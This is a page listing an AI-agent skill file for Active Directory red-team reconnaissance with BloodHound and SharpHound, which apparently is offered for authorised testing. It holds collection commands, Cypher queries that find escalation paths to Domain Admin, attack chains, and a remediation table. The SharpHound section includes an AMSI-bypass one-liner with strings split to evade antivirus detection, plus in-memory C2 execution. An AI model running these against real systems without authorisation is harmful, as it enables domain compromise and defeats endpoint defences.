[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7A9HASVVFZ2MX15HMT39BAD":3,"skill-same:01M7A9HASVVFZ2MX15HMT39BAD":108},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":53,"commitSha":54,"skillDirectory":55,"forksCount":14,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":73},"01M7A9HASVVFZ2MX15HMT39BAD","performing-active-directory-bloodhound-analysis",null,"Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory relationships and graph attack paths from a compromised user to Domain Admin. Use when performing AD red-team reconnaissance, mapping privilege-escalation chains from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.","NeelakshSaxena\u002FVayu","NeelakshSaxena","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F87892838?v=4","01M7A3B9YFS6F6N9DD1787DT86","Neelaksh Saxena","01M7A3B9ZKBT09MNMPX2XN69BY",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: performing-active-directory-bloodhound-analysis\ndescription: Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory\n  relationships and graph attack paths from a compromised user to Domain Admin. Use\n  when performing AD red-team reconnaissance, mapping privilege-escalation chains\n  from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.\ndomain: cybersecurity\nsubdomain: red-teaming\ntags:\n- bloodhound\n- active-directory\n- sharphound\n- attack-path\n- ad-enumeration\n- graph-theory\n- privilege-escalation\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nd3fend_techniques:\n- Restore Access\n- Password Authentication\n- Biometric Authentication\n- Strong Password Policy\n- Restore User Account Access\nnist_csf:\n- ID.RA-01\n- GV.OV-02\n- DE.AE-07\nmitre_attack:\n- T1595\n- T1190\n- T1059\n- T1078\n- T1068\n---\n\n# Performing Active Directory BloodHound Analysis\n\n## Overview\n\nBloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory bloodhound analysis\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Initial foothold on a domain-joined Windows system (or valid domain credentials)\n- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed\n- SharpHound collector (C# binary or PowerShell module)\n- Neo4j database (Legacy) or PostgreSQL (CE)\n- Network access to domain controllers (LDAP TCP\u002F389, LDAPS TCP\u002F636)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |\n| T1018 | Remote System Discovery | Discovery |\n| T1482 | Domain Trust Discovery | Discovery |\n| T1615 | Group Policy Discovery | Discovery |\n| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |\n\n## Step 1: Data Collection with SharpHound\n\n### SharpHound.exe (Preferred for OPSEC)\n\n```powershell\n# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)\n.\\SharpHound.exe -c All --outputdirectory C:\\Temp --zipfilename bloodhound_data.zip\n\n# Stealth mode - collect only structure data (no session enumeration)\n.\\SharpHound.exe -c DCOnly --outputdirectory C:\\Temp\n\n# Collect with specific domain and credentials\n.\\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123\n\n# Loop collection - collect sessions over time for better coverage\n.\\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00\n\n# Collect from Havoc C2 Demon session (in-memory)\ndotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All --memcache --outputdirectory C:\\Temp\n```\n\n### Invoke-BloodHound (PowerShell)\n\n```powershell\n# Import and run\nImport-Module .\\SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp -ZipFileName bh.zip\n\n# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching\n$t = 'System.Management.Automation.Am' + 'siUtils'\n[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)\n```\n\n### AzureHound (Azure AD)\n\n```bash\n# Collect Azure AD data\nazurehound list -t \u003Ctenant-id> --refresh-token \u003Ctoken> -o azure_data.json\n\n# Or using AzureHound PowerShell\nImport-Module .\\AzureHound.ps1\nInvoke-AzureHound\n```\n\n## Step 2: Import Data into BloodHound\n\n### BloodHound CE (v5+)\n\n```bash\n# Start BloodHound CE with Docker\ncurl -L https:\u002F\u002Fghst.ly\u002Fgetbhce | docker compose -f - up\n\n# Access web interface at https:\u002F\u002Flocalhost:8080\n# Default credentials: admin \u002F bloodhound\n# Upload ZIP file via GUI: Upload Data > Select File\n```\n\n### BloodHound Legacy\n\n```bash\n# Start Neo4j\nsudo neo4j start\n# Access Neo4j at http:\u002F\u002Flocalhost:7474 (default neo4j:neo4j)\n\n# Start BloodHound GUI\n.\u002FBloodHound --no-sandbox\n\n# Drag and drop ZIP file into BloodHound GUI\n```\n\n## Step 3: Attack Path Analysis\n\n### Pre-Built Queries (Most Critical)\n\n```cypher\n-- Find all Domain Admins\nMATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n\n\n-- Shortest path from owned user to Domain Admin\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname\n\n-- Users with DCSync rights\nMATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)\nMATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)\nRETURN n1.name\n\n-- Find computers where Domain Users are local admin\nMATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p\n\n-- Find unconstrained delegation computers\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name\n\n-- Find constrained delegation abuse paths\nMATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate\n\n-- GPO abuse paths\nMATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)\nRETURN p LIMIT 50\n\n-- Find all sessions on high-value targets\nMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})\nRETURN c.name, u.name, g.name\n```\n\n### Custom Cypher Queries\n\n```cypher\n-- Find users with GenericAll on other users (password reset path)\nMATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name\n\n-- Find WriteDACL paths (ACL abuse)\nMATCH p=(n)-[:WriteDacl]->(m) WHERE n\u003C>m RETURN p LIMIT 50\n\n-- Find AddMember rights to privileged groups\nMATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name\n\n-- Map trust relationships\nMATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name\n\n-- Find service accounts with admin access\nMATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name\n```\n\n## Step 4: Common Attack Paths\n\n### Path 1: Kerberoasting to DA\n```\nUser (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->\nServer HasSession DA -> Steal Token -> Domain Admin\n```\n\n### Path 2: ACL Abuse Chain\n```\nUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->\nIT Admins -> AdminTo DC -> Domain Admin\n```\n\n### Path 3: Unconstrained Delegation\n```\nUser (owned) -> AdminTo Server (Unconstrained Delegation) ->\nCoerce DC Auth (PrinterBug\u002FPetitPotam) -> Capture TGT -> DCSync\n```\n\n### Path 4: GPO Abuse\n```\nUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->\nCode Execution as SYSTEM\n```\n\n## Step 5: Remediation Recommendations\n\n| Finding | Risk | Remediation |\n|---|---|---|\n| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |\n| Unconstrained Delegation | Critical | Migrate to constrained\u002FRBCD delegation |\n| Domain Users local admin | High | Remove DA from local admin, use LAPS |\n| Excessive ACL permissions | High | Audit and reduce GenericAll\u002FWriteDACL |\n| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |\n| Cross-domain trust abuse | High | Review trust direction and SID filtering |\n\n## References\n\n- BloodHound GitHub: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- BloodHound CE: https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound\n- SharpHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FSharpHound\n- MITRE ATT&CK S0521: https:\u002F\u002Fattack.mitre.org\u002Fsoftware\u002FS0521\u002F\n- SpecterOps BloodHound Documentation: https:\u002F\u002Fbloodhound.readthedocs.io\u002F\n","# Performing Active Directory BloodHound Analysis\n\n## Overview\n\nBloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing active directory bloodhound analysis\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Initial foothold on a domain-joined Windows system (or valid domain credentials)\n- BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed\n- SharpHound collector (C# binary or PowerShell module)\n- Neo4j database (Legacy) or PostgreSQL (CE)\n- Network access to domain controllers (LDAP TCP\u002F389, LDAPS TCP\u002F636)\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## MITRE ATT&CK Mapping\n\n| Technique ID | Name | Tactic |\n|---|---|---|\n| T1087.002 | Account Discovery: Domain Account | Discovery |\n| T1069.002 | Permission Groups Discovery: Domain Groups | Discovery |\n| T1018 | Remote System Discovery | Discovery |\n| T1482 | Domain Trust Discovery | Discovery |\n| T1615 | Group Policy Discovery | Discovery |\n| T1069.001 | Permission Groups Discovery: Local Groups | Discovery |\n\n## Step 1: Data Collection with SharpHound\n\n### SharpHound.exe (Preferred for OPSEC)\n\n```powershell\n# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)\n.\\SharpHound.exe -c All --outputdirectory C:\\Temp --zipfilename bloodhound_data.zip\n\n# Stealth mode - collect only structure data (no session enumeration)\n.\\SharpHound.exe -c DCOnly --outputdirectory C:\\Temp\n\n# Collect with specific domain and credentials\n.\\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123\n\n# Loop collection - collect sessions over time for better coverage\n.\\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00\n\n# Collect from Havoc C2 Demon session (in-memory)\ndotnet inline-execute \u002Ftools\u002FSharpHound.exe -c All --memcache --outputdirectory C:\\Temp\n```\n\n### Invoke-BloodHound (PowerShell)\n\n```powershell\n# Import and run\nImport-Module .\\SharpHound.ps1\nInvoke-BloodHound -CollectionMethod All -OutputDirectory C:\\Temp -ZipFileName bh.zip\n\n# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching\n$t = 'System.Management.Automation.Am' + 'siUtils'\n[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)\n```\n\n### AzureHound (Azure AD)\n\n```bash\n# Collect Azure AD data\nazurehound list -t \u003Ctenant-id> --refresh-token \u003Ctoken> -o azure_data.json\n\n# Or using AzureHound PowerShell\nImport-Module .\\AzureHound.ps1\nInvoke-AzureHound\n```\n\n## Step 2: Import Data into BloodHound\n\n### BloodHound CE (v5+)\n\n```bash\n# Start BloodHound CE with Docker\ncurl -L https:\u002F\u002Fghst.ly\u002Fgetbhce | docker compose -f - up\n\n# Access web interface at https:\u002F\u002Flocalhost:8080\n# Default credentials: admin \u002F bloodhound\n# Upload ZIP file via GUI: Upload Data > Select File\n```\n\n### BloodHound Legacy\n\n```bash\n# Start Neo4j\nsudo neo4j start\n# Access Neo4j at http:\u002F\u002Flocalhost:7474 (default neo4j:neo4j)\n\n# Start BloodHound GUI\n.\u002FBloodHound --no-sandbox\n\n# Drag and drop ZIP file into BloodHound GUI\n```\n\n## Step 3: Attack Path Analysis\n\n### Pre-Built Queries (Most Critical)\n\n```cypher\n-- Find all Domain Admins\nMATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n\n\n-- Shortest path from owned user to Domain Admin\nMATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find Kerberoastable users with path to DA\nMATCH (u:User {hasspn:true})\nMATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))\nRETURN p\n\n-- Find AS-REP Roastable users\nMATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname\n\n-- Users with DCSync rights\nMATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)\nMATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)\nRETURN n1.name\n\n-- Find computers where Domain Users are local admin\nMATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p\n\n-- Find unconstrained delegation computers\nMATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name\n\n-- Find constrained delegation abuse paths\nMATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate\n\n-- GPO abuse paths\nMATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)\nRETURN p LIMIT 50\n\n-- Find all sessions on high-value targets\nMATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})\nRETURN c.name, u.name, g.name\n```\n\n### Custom Cypher Queries\n\n```cypher\n-- Find users with GenericAll on other users (password reset path)\nMATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name\n\n-- Find WriteDACL paths (ACL abuse)\nMATCH p=(n)-[:WriteDacl]->(m) WHERE n\u003C>m RETURN p LIMIT 50\n\n-- Find AddMember rights to privileged groups\nMATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name\n\n-- Map trust relationships\nMATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name\n\n-- Find service accounts with admin access\nMATCH (u:User {hasspn:true})-[:AdminTo]->(c:Computer) RETURN u.name, c.name\n```\n\n## Step 4: Common Attack Paths\n\n### Path 1: Kerberoasting to DA\n```\nUser (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->\nServer HasSession DA -> Steal Token -> Domain Admin\n```\n\n### Path 2: ACL Abuse Chain\n```\nUser (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->\nIT Admins -> AdminTo DC -> Domain Admin\n```\n\n### Path 3: Unconstrained Delegation\n```\nUser (owned) -> AdminTo Server (Unconstrained Delegation) ->\nCoerce DC Auth (PrinterBug\u002FPetitPotam) -> Capture TGT -> DCSync\n```\n\n### Path 4: GPO Abuse\n```\nUser (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->\nCode Execution as SYSTEM\n```\n\n## Step 5: Remediation Recommendations\n\n| Finding | Risk | Remediation |\n|---|---|---|\n| Kerberoastable DA | Critical | Use gMSA, rotate passwords, AES-only |\n| Unconstrained Delegation | Critical | Migrate to constrained\u002FRBCD delegation |\n| Domain Users local admin | High | Remove DA from local admin, use LAPS |\n| Excessive ACL permissions | High | Audit and reduce GenericAll\u002FWriteDACL |\n| Stale admin sessions | Medium | Implement session cleanup, restrict RDP |\n| Cross-domain trust abuse | High | Review trust direction and SID filtering |\n\n## References\n\n- BloodHound GitHub: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FBloodHound\n- BloodHound CE: https:\u002F\u002Fgithub.com\u002FSpecterOps\u002FBloodHound\n- SharpHound: https:\u002F\u002Fgithub.com\u002FBloodHoundAD\u002FSharpHound\n- MITRE ATT&CK S0521: https:\u002F\u002Fattack.mitre.org\u002Fsoftware\u002FS0521\u002F\n- SpecterOps BloodHound Documentation: https:\u002F\u002Fbloodhound.readthedocs.io\u002F\n",{"name":5,"tags":25,"author":33,"domain":34,"license":15,"version":35,"nist_csf":36,"subdomain":40,"description":7,"mitre_attack":41,"d3fend_techniques":47},[26,27,28,29,30,31,32],"bloodhound","active-directory","sharphound","attack-path","ad-enumeration","graph-theory","privilege-escalation","mahipal","cybersecurity","1.0",[37,38,39],"ID.RA-01","GV.OV-02","DE.AE-07","red-teaming",[42,43,44,45,46],"T1595","T1190","T1059","T1078","T1068",[48,49,50,51,52],"Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access","main","7540bbccf0c1ded6156a467b02c95b61ad62413f",".agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena","Currently exploring the intersection of tech","2026-09-11 03:02:31",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":72},[62,65,68],{"tool":63,"command":64},"npx","npx skills add NeelakshSaxena\u002FVayu --skill performing-active-directory-bloodhound-analysis",{"tool":66,"command":67},"bunx","bunx skills add NeelakshSaxena\u002FVayu --skill performing-active-directory-bloodhound-analysis",{"tool":69,"command":70},"pnpm","pnpm dlx skills add NeelakshSaxena\u002FVayu --skill performing-active-directory-bloodhound-analysis","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002FSKILL.md",true,[74,80,84,90,94,98,104],{"path":75,"resourceType":76,"resourceTypeDesc":77,"sizeBytes":78,"sourceHtmlUrl":79},"assets\u002Ftemplate.md","ASSET","资产文件",3708,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Fassets\u002Ftemplate.md",{"path":81,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":85,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":88,"sourceHtmlUrl":89},"references\u002Fapi-reference.md","REFERENCE","参考文档",1546,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Freferences\u002Fapi-reference.md",{"path":91,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":92,"sourceHtmlUrl":93},"references\u002Fstandards.md",2378,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Freferences\u002Fstandards.md",{"path":95,"resourceType":86,"resourceTypeDesc":87,"sizeBytes":96,"sourceHtmlUrl":97},"references\u002Fworkflows.md",7791,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Freferences\u002Fworkflows.md",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"scripts\u002Fagent.py","SCRIPT","脚本",7249,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Fscripts\u002Fagent.py",{"path":105,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":106,"sourceHtmlUrl":107},"scripts\u002Fprocess.py",16810,"https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.agents\u002Fskills\u002Fperforming-active-directory-bloodhound-analysis\u002Fscripts\u002Fprocess.py",[109,116,123,130,137,144],{"skillNo":110,"name":111,"nameZh":6,"description":112,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":113,"categories":114,"keywords":115,"publishedAt":20},"01M7ACCCVNCFKMA9X6D15X6G98","runpodctl","Runpod CLI for managing GPU\u002FCPU workloads from the terminal — pods, serverless endpoints, templates, network volumes, Hub deploys, models, SSH, and file transfer (send\u002Freceive). Use for terminal\u002FCI\u002Fscripting, Hub browse\u002Fdeploy, SSH setup, `doctor`, or when the Runpod MCP tools are not connected. For structured tool calls in an MCP-enabled session, prefer runpod-mcp.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpodctl\u002FSKILL.md",[],[],{"skillNo":117,"name":118,"nameZh":6,"description":119,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":120,"categories":121,"keywords":122,"publishedAt":20},"01M7ACC63SRHEA5KMCHSMZK2TC","runpod","Start here for any Runpod task — running GPU\u002FCPU pods, deploying serverless endpoints, templates, network volumes, building images, or understanding how Runpod works. Routes to the right skill (runpod-mcp, runpodctl, flash, companion-clis, runpod-usage, runpod-templates, runpod-migrate) and indexes two dozen live-verified end-to-end examples (golden paths) — use it when the lane is unclear, and for any multi-step or provisioning task even when it is not.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod\u002FSKILL.md",[],[],{"skillNo":124,"name":125,"nameZh":6,"description":126,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":127,"categories":128,"keywords":129,"publishedAt":20},"01M7ACC0Q1C89N9BZBV91CTQTF","runpod-usage","How Runpod works and how to work it — pods vs serverless, GPU\u002FVRAM selection, storage, building a container, networking, plus the agentic pod development loop (provision → ssh-exec → set up → poll readiness) and on-pod install hygiene (uv\u002Fapt). Use to answer \"how does X work\", \"which GPU\", \"how do I build a container\", or \"how do I stand up a workload on a pod\". Guidance, not a tool — execute with runpodctl, runpod-mcp, or flash.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-usage\u002FSKILL.md",[],[],{"skillNo":131,"name":132,"nameZh":6,"description":133,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":134,"categories":135,"keywords":136,"publishedAt":20},"01M7ACBRPE345GF5GM5B8P8RRC","runpod-templates","Runpod's official prebuilt pod templates (ComfyUI, PyTorch, and others): what each image ships, which ports and paths it uses, how to pick one, how to pin a version, and what is missing on first boot. Use when a task says \"run \u003CX> on a pod\" and an official template already covers it, instead of building an image — and when a user needs help with or wants to fix something about a Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":138,"name":139,"nameZh":6,"description":140,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":141,"categories":142,"keywords":143,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":150,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]